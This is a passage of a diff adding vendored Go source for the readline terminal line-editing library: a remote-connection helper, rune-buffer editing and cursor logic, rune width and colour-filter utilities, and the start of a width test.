break
|
||||
}
|
||||
go func() {
|
||||
defer conn.Close()
|
||||
rl, err := HandleConn(*cfg, conn)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
h(rl)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func HandleConn(cfg Config, conn net.Conn) (*Instance, error) {
|
||||
r, err := NewRemoteSvr(conn)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
r.HandleConfig(&cfg)
|
||||
|
||||
rl, err := NewEx(&cfg)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return rl, nil
|
||||
}
|
||||
|
||||
func DialRemote(n, addr string) error {
|
||||
conn, err := net.Dial(n, addr)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
cli, err := NewRemoteCli(conn)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return cli.Serve()
|
||||
}
|
||||
@@ -0,0 +1,649 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type runeBufferBck struct {
|
||||
buf []rune
|
||||
idx int
|
||||
}
|
||||
|
||||
type RuneBuffer struct {
|
||||
buf []rune
|
||||
idx int
|
||||
prompt []rune
|
||||
w io.Writer
|
||||
|
||||
hadClean bool
|
||||
interactive bool
|
||||
cfg *Config
|
||||
|
||||
width int
|
||||
|
||||
bck *runeBufferBck
|
||||
|
||||
offset string
|
||||
|
||||
lastKill []rune
|
||||
|
||||
sync.Mutex
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) pushKill(text []rune) {
|
||||
r.lastKill = append([]rune{}, text...)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) OnWidthChange(newWidth int) {
|
||||
r.Lock()
|
||||
r.width = newWidth
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Backup() {
|
||||
r.Lock()
|
||||
r.bck = &runeBufferBck{r.buf, r.idx}
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Restore() {
|
||||
r.Refresh(func() {
|
||||
if r.bck == nil {
|
||||
return
|
||||
}
|
||||
r.buf = r.bck.buf
|
||||
r.idx = r.bck.idx
|
||||
})
|
||||
}
|
||||
|
||||
func NewRuneBuffer(w io.Writer, prompt string, cfg *Config, width int) *RuneBuffer {
|
||||
|
||||
rb := &RuneBuffer{
|
||||
w: w,
|
||||
interactive: cfg.useInteractive(),
|
||||
cfg: cfg,
|
||||
width: width,
|
||||
}
|
||||
rb.SetPrompt(prompt)
|
||||
return rb
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) SetConfig(cfg *Config) {
|
||||
r.Lock()
|
||||
r.cfg = cfg
|
||||
r.interactive = cfg.useInteractive()
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) SetMask(m rune) {
|
||||
r.Lock()
|
||||
r.cfg.MaskRune = m
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) CurrentWidth(x int) int {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
return runes.WidthAll(r.buf[:x])
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) PromptLen() int {
|
||||
r.Lock()
|
||||
width := r.promptLen()
|
||||
r.Unlock()
|
||||
return width
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) promptLen() int {
|
||||
return runes.WidthAll(runes.ColorFilter(r.prompt))
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) RuneSlice(i int) []rune {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
|
||||
if i > 0 {
|
||||
rs := make([]rune, i)
|
||||
copy(rs, r.buf[r.idx:r.idx+i])
|
||||
return rs
|
||||
}
|
||||
rs := make([]rune, -i)
|
||||
copy(rs, r.buf[r.idx+i:r.idx])
|
||||
return rs
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Runes() []rune {
|
||||
r.Lock()
|
||||
newr := make([]rune, len(r.buf))
|
||||
copy(newr, r.buf)
|
||||
r.Unlock()
|
||||
return newr
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Pos() int {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
return r.idx
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Len() int {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
return len(r.buf)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveToLineStart() {
|
||||
r.Refresh(func() {
|
||||
if r.idx == 0 {
|
||||
return
|
||||
}
|
||||
r.idx = 0
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveBackward() {
|
||||
|
||||
r.Refresh(func() {
|
||||
|
||||
if r.idx == 0 {
|
||||
return
|
||||
}
|
||||
if r.cfg.ForcePrint {
|
||||
fmt.Print(string([]byte{8}))
|
||||
}
|
||||
r.idx--
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) WriteString(s string) {
|
||||
r.WriteRunes([]rune(s))
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) WriteRune(s rune) {
|
||||
r.WriteRunes([]rune{s})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) WriteRunes(s []rune) {
|
||||
r.Refresh(func() {
|
||||
if r.cfg.ForcePrint {
|
||||
fmt.Print(string(s))
|
||||
}
|
||||
tail := append(s, r.buf[r.idx:]...)
|
||||
r.buf = append(r.buf[:r.idx], tail...)
|
||||
r.idx += len(s)
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveForward() {
|
||||
r.Refresh(func() {
|
||||
if r.idx == len(r.buf) {
|
||||
return
|
||||
}
|
||||
if r.cfg.ForcePrint {
|
||||
fmt.Print(string(r.buf[r.idx]))
|
||||
}
|
||||
r.idx++
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) IsCursorInEnd() bool {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
return r.idx == len(r.buf)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Replace(ch rune) {
|
||||
r.Refresh(func() {
|
||||
r.buf[r.idx] = ch
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Erase() {
|
||||
r.Refresh(func() {
|
||||
r.idx = 0
|
||||
r.pushKill(r.buf[:])
|
||||
r.buf = r.buf[:0]
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Delete() (success bool) {
|
||||
r.Refresh(func() {
|
||||
if r.idx == len(r.buf) {
|
||||
return
|
||||
}
|
||||
r.pushKill(r.buf[r.idx : r.idx+1])
|
||||
r.buf = append(r.buf[:r.idx], r.buf[r.idx+1:]...)
|
||||
success = true
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) DeleteWord() {
|
||||
if r.idx == len(r.buf) {
|
||||
return
|
||||
}
|
||||
init := r.idx
|
||||
for init < len(r.buf) && IsWordBreak(r.buf[init]) {
|
||||
init++
|
||||
}
|
||||
for i := init + 1; i < len(r.buf); i++ {
|
||||
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
|
||||
r.pushKill(r.buf[r.idx : i-1])
|
||||
r.Refresh(func() {
|
||||
r.buf = append(r.buf[:r.idx], r.buf[i-1:]...)
|
||||
})
|
||||
return
|
||||
}
|
||||
}
|
||||
r.Kill()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveToPrevWord() (success bool) {
|
||||
r.Refresh(func() {
|
||||
if r.idx == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
for i := r.idx - 1; i > 0; i-- {
|
||||
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
|
||||
r.idx = i
|
||||
success = true
|
||||
return
|
||||
}
|
||||
}
|
||||
r.idx = 0
|
||||
success = true
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) KillFront() {
|
||||
r.Refresh(func() {
|
||||
if r.idx == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
length := len(r.buf) - r.idx
|
||||
r.pushKill(r.buf[:r.idx])
|
||||
copy(r.buf[:length], r.buf[r.idx:])
|
||||
r.idx = 0
|
||||
r.buf = r.buf[:length]
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Kill() {
|
||||
r.Refresh(func() {
|
||||
r.pushKill(r.buf[r.idx:])
|
||||
r.buf = r.buf[:r.idx]
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Transpose() {
|
||||
r.Refresh(func() {
|
||||
if len(r.buf) == 1 {
|
||||
r.idx++
|
||||
}
|
||||
|
||||
if len(r.buf) < 2 {
|
||||
return
|
||||
}
|
||||
|
||||
if r.idx == 0 {
|
||||
r.idx = 1
|
||||
} else if r.idx >= len(r.buf) {
|
||||
r.idx = len(r.buf) - 1
|
||||
}
|
||||
r.buf[r.idx], r.buf[r.idx-1] = r.buf[r.idx-1], r.buf[r.idx]
|
||||
r.idx++
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveToNextWord() {
|
||||
r.Refresh(func() {
|
||||
for i := r.idx + 1; i < len(r.buf); i++ {
|
||||
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
|
||||
r.idx = i
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
r.idx = len(r.buf)
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveToEndWord() {
|
||||
r.Refresh(func() {
|
||||
// already at the end, so do nothing
|
||||
if r.idx == len(r.buf) {
|
||||
return
|
||||
}
|
||||
// if we are at the end of a word already, go to next
|
||||
if !IsWordBreak(r.buf[r.idx]) && IsWordBreak(r.buf[r.idx+1]) {
|
||||
r.idx++
|
||||
}
|
||||
|
||||
// keep going until at the end of a word
|
||||
for i := r.idx + 1; i < len(r.buf); i++ {
|
||||
if IsWordBreak(r.buf[i]) && !IsWordBreak(r.buf[i-1]) {
|
||||
r.idx = i - 1
|
||||
return
|
||||
}
|
||||
}
|
||||
r.idx = len(r.buf)
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) BackEscapeWord() {
|
||||
r.Refresh(func() {
|
||||
if r.idx == 0 {
|
||||
return
|
||||
}
|
||||
for i := r.idx - 1; i > 0; i-- {
|
||||
if !IsWordBreak(r.buf[i]) && IsWordBreak(r.buf[i-1]) {
|
||||
r.pushKill(r.buf[i:r.idx])
|
||||
r.buf = append(r.buf[:i], r.buf[r.idx:]...)
|
||||
r.idx = i
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
r.buf = r.buf[:0]
|
||||
r.idx = 0
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Yank() {
|
||||
if len(r.lastKill) == 0 {
|
||||
return
|
||||
}
|
||||
r.Refresh(func() {
|
||||
buf := make([]rune, 0, len(r.buf)+len(r.lastKill))
|
||||
buf = append(buf, r.buf[:r.idx]...)
|
||||
buf = append(buf, r.lastKill...)
|
||||
buf = append(buf, r.buf[r.idx:]...)
|
||||
r.buf = buf
|
||||
r.idx += len(r.lastKill)
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Backspace() {
|
||||
r.Refresh(func() {
|
||||
if r.idx == 0 {
|
||||
return
|
||||
}
|
||||
if r.cfg.ForcePrint {
|
||||
fmt.Print(string([]byte{8, 32, 8}))
|
||||
}
|
||||
r.idx--
|
||||
r.buf = append(r.buf[:r.idx], r.buf[r.idx+1:]...)
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveToLineEnd() {
|
||||
r.Refresh(func() {
|
||||
if r.idx == len(r.buf) {
|
||||
return
|
||||
}
|
||||
|
||||
r.idx = len(r.buf)
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) LineCount(width int) int {
|
||||
if width == -1 {
|
||||
width = r.width
|
||||
}
|
||||
return LineCount(width,
|
||||
runes.WidthAll(r.buf)+r.PromptLen())
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) MoveTo(ch rune, prevChar, reverse bool) (success bool) {
|
||||
r.Refresh(func() {
|
||||
if reverse {
|
||||
for i := r.idx - 1; i >= 0; i-- {
|
||||
if r.buf[i] == ch {
|
||||
r.idx = i
|
||||
if prevChar {
|
||||
r.idx++
|
||||
}
|
||||
success = true
|
||||
return
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
for i := r.idx + 1; i < len(r.buf); i++ {
|
||||
if r.buf[i] == ch {
|
||||
r.idx = i
|
||||
if prevChar {
|
||||
r.idx--
|
||||
}
|
||||
success = true
|
||||
return
|
||||
}
|
||||
}
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) isInLineEdge() bool {
|
||||
if isWindows {
|
||||
return false
|
||||
}
|
||||
sp := r.getSplitByLine(r.buf)
|
||||
|
||||
return len(sp[len(sp)-1]) == 0
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) getSplitByLine(rs []rune) []string {
|
||||
return SplitByLine(r.promptLen(), r.width, rs)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) IdxLine(width int) int {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
return r.idxLine(width)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) idxLine(width int) int {
|
||||
if width == 0 {
|
||||
return 0
|
||||
}
|
||||
sp := r.getSplitByLine(r.buf[:r.idx])
|
||||
return len(sp) - 1
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) CursorLineCount() int {
|
||||
return r.LineCount(r.width) - r.IdxLine(r.width)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Refresh(f func()) {
|
||||
r.Lock()
|
||||
defer r.Unlock()
|
||||
|
||||
if !r.interactive {
|
||||
if f != nil {
|
||||
f()
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
r.clean()
|
||||
if f != nil {
|
||||
f()
|
||||
}
|
||||
r.print()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) SetOffset(offset string) {
|
||||
r.Lock()
|
||||
r.offset = offset
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) print() {
|
||||
|
||||
r.w.Write(r.output())
|
||||
r.hadClean = false
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) output() []byte {
|
||||
buf := bytes.NewBuffer(nil)
|
||||
buf.WriteString(string(r.prompt))
|
||||
if r.cfg.EnableMask && len(r.buf) > 0 {
|
||||
|
||||
buf.Write([]byte(strings.Repeat(string(r.cfg.MaskRune), len(r.buf)-1)))
|
||||
if r.buf[len(r.buf)-1] == '\n' {
|
||||
buf.Write([]byte{'\n'})
|
||||
} else {
|
||||
buf.Write([]byte(string(r.cfg.MaskRune)))
|
||||
}
|
||||
if len(r.buf) > r.idx {
|
||||
buf.Write(r.getBackspaceSequence())
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
for _, e := range r.cfg.Painter.Paint(r.buf, r.idx) {
|
||||
if e == '\t' {
|
||||
buf.WriteString(strings.Repeat(" ", TabWidth))
|
||||
} else {
|
||||
buf.WriteRune(e)
|
||||
}
|
||||
}
|
||||
if r.isInLineEdge() {
|
||||
buf.Write([]byte(" \b"))
|
||||
}
|
||||
}
|
||||
// cursor position
|
||||
if len(r.buf) > r.idx {
|
||||
buf.Write(r.getBackspaceSequence())
|
||||
}
|
||||
return buf.Bytes()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) getBackspaceSequence() []byte {
|
||||
var sep = map[int]bool{}
|
||||
|
||||
var i int
|
||||
for {
|
||||
if i >= runes.WidthAll(r.buf) {
|
||||
break
|
||||
}
|
||||
|
||||
if i == 0 {
|
||||
i -= r.promptLen()
|
||||
}
|
||||
i += r.width
|
||||
|
||||
sep[i] = true
|
||||
}
|
||||
var buf []byte
|
||||
for i := len(r.buf); i > r.idx; i-- {
|
||||
// move input to the left of one
|
||||
buf = append(buf, '\b')
|
||||
if sep[i] {
|
||||
// up one line, go to the start of the line and move cursor right to the end (r.width)
|
||||
buf = append(buf, "\033[A\r"+"\033["+strconv.Itoa(r.width)+"C"...)
|
||||
}
|
||||
}
|
||||
|
||||
return buf
|
||||
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Reset() []rune {
|
||||
ret := runes.Copy(r.buf)
|
||||
r.buf = r.buf[:0]
|
||||
r.idx = 0
|
||||
return ret
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) calWidth(m int) int {
|
||||
if m > 0 {
|
||||
return runes.WidthAll(r.buf[r.idx : r.idx+m])
|
||||
}
|
||||
return runes.WidthAll(r.buf[r.idx+m : r.idx])
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) SetStyle(start, end int, style string) {
|
||||
if end < start {
|
||||
panic("end < start")
|
||||
}
|
||||
|
||||
// goto start
|
||||
move := start - r.idx
|
||||
if move > 0 {
|
||||
r.w.Write([]byte(string(r.buf[r.idx : r.idx+move])))
|
||||
} else {
|
||||
r.w.Write(bytes.Repeat([]byte("\b"), r.calWidth(move)))
|
||||
}
|
||||
r.w.Write([]byte("\033[" + style + "m"))
|
||||
r.w.Write([]byte(string(r.buf[start:end])))
|
||||
r.w.Write([]byte("\033[0m"))
|
||||
// TODO: move back
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) SetWithIdx(idx int, buf []rune) {
|
||||
r.Refresh(func() {
|
||||
r.buf = buf
|
||||
r.idx = idx
|
||||
})
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Set(buf []rune) {
|
||||
r.SetWithIdx(len(buf), buf)
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) SetPrompt(prompt string) {
|
||||
r.Lock()
|
||||
r.prompt = []rune(prompt)
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) cleanOutput(w io.Writer, idxLine int) {
|
||||
buf := bufio.NewWriter(w)
|
||||
|
||||
if r.width == 0 {
|
||||
buf.WriteString(strings.Repeat("\r\b", len(r.buf)+r.promptLen()))
|
||||
buf.Write([]byte("\033[J"))
|
||||
} else {
|
||||
buf.Write([]byte("\033[J")) // just like ^k :)
|
||||
if idxLine == 0 {
|
||||
buf.WriteString("\033[2K")
|
||||
buf.WriteString("\r")
|
||||
} else {
|
||||
for i := 0; i < idxLine; i++ {
|
||||
io.WriteString(buf, "\033[2K\r\033[A")
|
||||
}
|
||||
io.WriteString(buf, "\033[2K\r")
|
||||
}
|
||||
}
|
||||
buf.Flush()
|
||||
return
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) Clean() {
|
||||
r.Lock()
|
||||
r.clean()
|
||||
r.Unlock()
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) clean() {
|
||||
r.cleanWithIdxLine(r.idxLine(r.width))
|
||||
}
|
||||
|
||||
func (r *RuneBuffer) cleanWithIdxLine(idxLine int) {
|
||||
if r.hadClean || !r.interactive {
|
||||
return
|
||||
}
|
||||
r.hadClean = true
|
||||
|
||||
r.cleanOutput(r.w, idxLine)
|
||||
}
|
||||
@@ -0,0 +1,223 @@
|
||||
package readline
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"unicode"
|
||||
"unicode/utf8"
|
||||
)
|
||||
|
||||
var runes = Runes{}
|
||||
var TabWidth = 4
|
||||
|
||||
type Runes struct{}
|
||||
|
||||
func (Runes) EqualRune(a, b rune, fold bool) bool {
|
||||
if a == b {
|
||||
return true
|
||||
}
|
||||
if !fold {
|
||||
return false
|
||||
}
|
||||
if a > b {
|
||||
a, b = b, a
|
||||
}
|
||||
if b < utf8.RuneSelf && 'A' <= a && a <= 'Z' {
|
||||
if b == a+'a'-'A' {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (r Runes) EqualRuneFold(a, b rune) bool {
|
||||
return r.EqualRune(a, b, true)
|
||||
}
|
||||
|
||||
func (r Runes) EqualFold(a, b []rune) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(a); i++ {
|
||||
if r.EqualRuneFold(a[i], b[i]) {
|
||||
continue
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (Runes) Equal(a, b []rune) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(a); i++ {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func (rs Runes) IndexAllBckEx(r, sub []rune, fold bool) int {
|
||||
for i := len(r) - len(sub); i >= 0; i-- {
|
||||
found := true
|
||||
for j := 0; j < len(sub); j++ {
|
||||
if !rs.EqualRune(r[i+j], sub[j], fold) {
|
||||
found = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// Search in runes from end to front
|
||||
func (rs Runes) IndexAllBck(r, sub []rune) int {
|
||||
return rs.IndexAllBckEx(r, sub, false)
|
||||
}
|
||||
|
||||
// Search in runes from front to end
|
||||
func (rs Runes) IndexAll(r, sub []rune) int {
|
||||
return rs.IndexAllEx(r, sub, false)
|
||||
}
|
||||
|
||||
func (rs Runes) IndexAllEx(r, sub []rune, fold bool) int {
|
||||
for i := 0; i < len(r); i++ {
|
||||
found := true
|
||||
if len(r[i:]) < len(sub) {
|
||||
return -1
|
||||
}
|
||||
for j := 0; j < len(sub); j++ {
|
||||
if !rs.EqualRune(r[i+j], sub[j], fold) {
|
||||
found = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func (Runes) Index(r rune, rs []rune) int {
|
||||
for i := 0; i < len(rs); i++ {
|
||||
if rs[i] == r {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func (Runes) ColorFilter(r []rune) []rune {
|
||||
newr := make([]rune, 0, len(r))
|
||||
for pos := 0; pos < len(r); pos++ {
|
||||
if r[pos] == '\033' && r[pos+1] == '[' {
|
||||
idx := runes.Index('m', r[pos+2:])
|
||||
if idx == -1 {
|
||||
continue
|
||||
}
|
||||
pos += idx + 2
|
||||
continue
|
||||
}
|
||||
newr = append(newr, r[pos])
|
||||
}
|
||||
return newr
|
||||
}
|
||||
|
||||
var zeroWidth = []*unicode.RangeTable{
|
||||
unicode.Mn,
|
||||
unicode.Me,
|
||||
unicode.Cc,
|
||||
unicode.Cf,
|
||||
}
|
||||
|
||||
var doubleWidth = []*unicode.RangeTable{
|
||||
unicode.Han,
|
||||
unicode.Hangul,
|
||||
unicode.Hiragana,
|
||||
unicode.Katakana,
|
||||
}
|
||||
|
||||
func (Runes) Width(r rune) int {
|
||||
if r == '\t' {
|
||||
return TabWidth
|
||||
}
|
||||
if unicode.IsOneOf(zeroWidth, r) {
|
||||
return 0
|
||||
}
|
||||
if unicode.IsOneOf(doubleWidth, r) {
|
||||
return 2
|
||||
}
|
||||
return 1
|
||||
}
|
||||
|
||||
func (Runes) WidthAll(r []rune) (length int) {
|
||||
for i := 0; i < len(r); i++ {
|
||||
length += runes.Width(r[i])
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (Runes) Backspace(r []rune) []byte {
|
||||
return bytes.Repeat([]byte{'\b'}, runes.WidthAll(r))
|
||||
}
|
||||
|
||||
func (Runes) Copy(r []rune) []rune {
|
||||
n := make([]rune, len(r))
|
||||
copy(n, r)
|
||||
return n
|
||||
}
|
||||
|
||||
func (Runes) HasPrefixFold(r, prefix []rune) bool {
|
||||
if len(r) < len(prefix) {
|
||||
return false
|
||||
}
|
||||
return runes.EqualFold(r[:len(prefix)], prefix)
|
||||
}
|
||||
|
||||
func (Runes) HasPrefix(r, prefix []rune) bool {
|
||||
if len(r) < len(prefix) {
|
||||
return false
|
||||
}
|
||||
return runes.Equal(r[:len(prefix)], prefix)
|
||||
}
|
||||
|
||||
func (Runes) Aggregate(candicate [][]rune) (same []rune, size int) {
|
||||
for i := 0; i < len(candicate[0]); i++ {
|
||||
for j := 0; j < len(candicate)-1; j++ {
|
||||
if i >= len(candicate[j]) || i >= len(candicate[j+1]) {
|
||||
goto aggregate
|
||||
}
|
||||
if candicate[j][i] != candicate[j+1][i] {
|
||||
goto aggregate
|
||||
}
|
||||
}
|
||||
size = i + 1
|
||||
}
|
||||
aggregate:
|
||||
if size > 0 {
|
||||
same = runes.Copy(candicate[0][:size])
|
||||
for i := 0; i < len(candicate); i++ {
|
||||
n := runes.Copy(candicate[i])
|
||||
copy(n, n[size:])
|
||||
candicate[i] = n[:len(n)-size]
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (Runes) TrimSpaceLeft(in []rune) []rune {
|
||||
firstIndex := len(in)
|
||||
for i, r := range in {
|
||||
if unicode.IsSpace(r) == false {
|
||||
firstIndex = i
|
||||
break
|
||||
}
|
||||
}
|
||||
return in[firstIndex:]
|
||||
}
|
||||
@@ -0,0 +1,155 @@
|
||||
// deprecated.
|
||||
// see https://github.com/chzyer/readline/issues/43
|
||||
// use github.com/chzyer/readline/runes.go
|
||||
package runes
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"unicode"
|
||||
)
|
||||
|
||||
func Equal(a, b []rune) bool {
|
||||
if len(a) != len(b) {
|
||||
return false
|
||||
}
|
||||
for i := 0; i < len(a); i++ {
|
||||
if a[i] != b[i] {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// Search in runes from end to front
|
||||
func IndexAllBck(r, sub []rune) int {
|
||||
for i := len(r) - len(sub); i >= 0; i-- {
|
||||
found := true
|
||||
for j := 0; j < len(sub); j++ {
|
||||
if r[i+j] != sub[j] {
|
||||
found = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// Search in runes from front to end
|
||||
func IndexAll(r, sub []rune) int {
|
||||
for i := 0; i < len(r); i++ {
|
||||
found := true
|
||||
if len(r[i:]) < len(sub) {
|
||||
return -1
|
||||
}
|
||||
for j := 0; j < len(sub); j++ {
|
||||
if r[i+j] != sub[j] {
|
||||
found = false
|
||||
break
|
||||
}
|
||||
}
|
||||
if found {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func Index(r rune, rs []rune) int {
|
||||
for i := 0; i < len(rs); i++ {
|
||||
if rs[i] == r {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
func ColorFilter(r []rune) []rune {
|
||||
newr := make([]rune, 0, len(r))
|
||||
for pos := 0; pos < len(r); pos++ {
|
||||
if r[pos] == '\033' && r[pos+1] == '[' {
|
||||
idx := Index('m', r[pos+2:])
|
||||
if idx == -1 {
|
||||
continue
|
||||
}
|
||||
pos += idx + 2
|
||||
continue
|
||||
}
|
||||
newr = append(newr, r[pos])
|
||||
}
|
||||
return newr
|
||||
}
|
||||
|
||||
var zeroWidth = []*unicode.RangeTable{
|
||||
unicode.Mn,
|
||||
unicode.Me,
|
||||
unicode.Cc,
|
||||
unicode.Cf,
|
||||
}
|
||||
|
||||
var doubleWidth = []*unicode.RangeTable{
|
||||
unicode.Han,
|
||||
unicode.Hangul,
|
||||
unicode.Hiragana,
|
||||
unicode.Katakana,
|
||||
}
|
||||
|
||||
func Width(r rune) int {
|
||||
if unicode.IsOneOf(zeroWidth, r) {
|
||||
return 0
|
||||
}
|
||||
if unicode.IsOneOf(doubleWidth, r) {
|
||||
return 2
|
||||
}
|
||||
return 1
|
||||
}
|
||||
|
||||
func WidthAll(r []rune) (length int) {
|
||||
for i := 0; i < len(r); i++ {
|
||||
length += Width(r[i])
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func Backspace(r []rune) []byte {
|
||||
return bytes.Repeat([]byte{'\b'}, WidthAll(r))
|
||||
}
|
||||
|
||||
func Copy(r []rune) []rune {
|
||||
n := make([]rune, len(r))
|
||||
copy(n, r)
|
||||
return n
|
||||
}
|
||||
|
||||
func HasPrefix(r, prefix []rune) bool {
|
||||
if len(r) < len(prefix) {
|
||||
return false
|
||||
}
|
||||
return Equal(r[:len(prefix)], prefix)
|
||||
}
|
||||
|
||||
func Aggregate(candicate [][]rune) (same []rune, size int) {
|
||||
for i := 0; i < len(candicate[0]); i++ {
|
||||
for j := 0; j < len(candicate)-1; j++ {
|
||||
if i >= len(candicate[j]) || i >= len(candicate[j+1]) {
|
||||
goto aggregate
|
||||
}
|
||||
if candicate[j][i] != candicate[j+1][i] {
|
||||
goto aggregate
|
||||
}
|
||||
}
|
||||
size = i + 1
|
||||
}
|
||||
aggregate:
|
||||
if size > 0 {
|
||||
same = Copy(candicate[0][:size])
|
||||
for i := 0; i < len(candicate); i++ {
|
||||
n := Copy(candicate[i])
|
||||
copy(n, n[size:])
|
||||
candicate[i] = n[:len(n)-size]
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
package runes
|
||||
|
||||
import (
|
||||
"reflect"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type twidth struct {
|
||||
r []rune
|
||||
length int
|
||||
}
|
||||
|
||||
func TestRuneWidth(t *testing.T) {
|
||||
runes := []twidth{
|
||||
{[]rune("☭"), 1},
|
||||
{[]rune("a"), 1},
|
||||
{[]rune("你"), 2},
|
||||
{ColorFilter([]rune("☭\033[13;1m你")), 3},
|
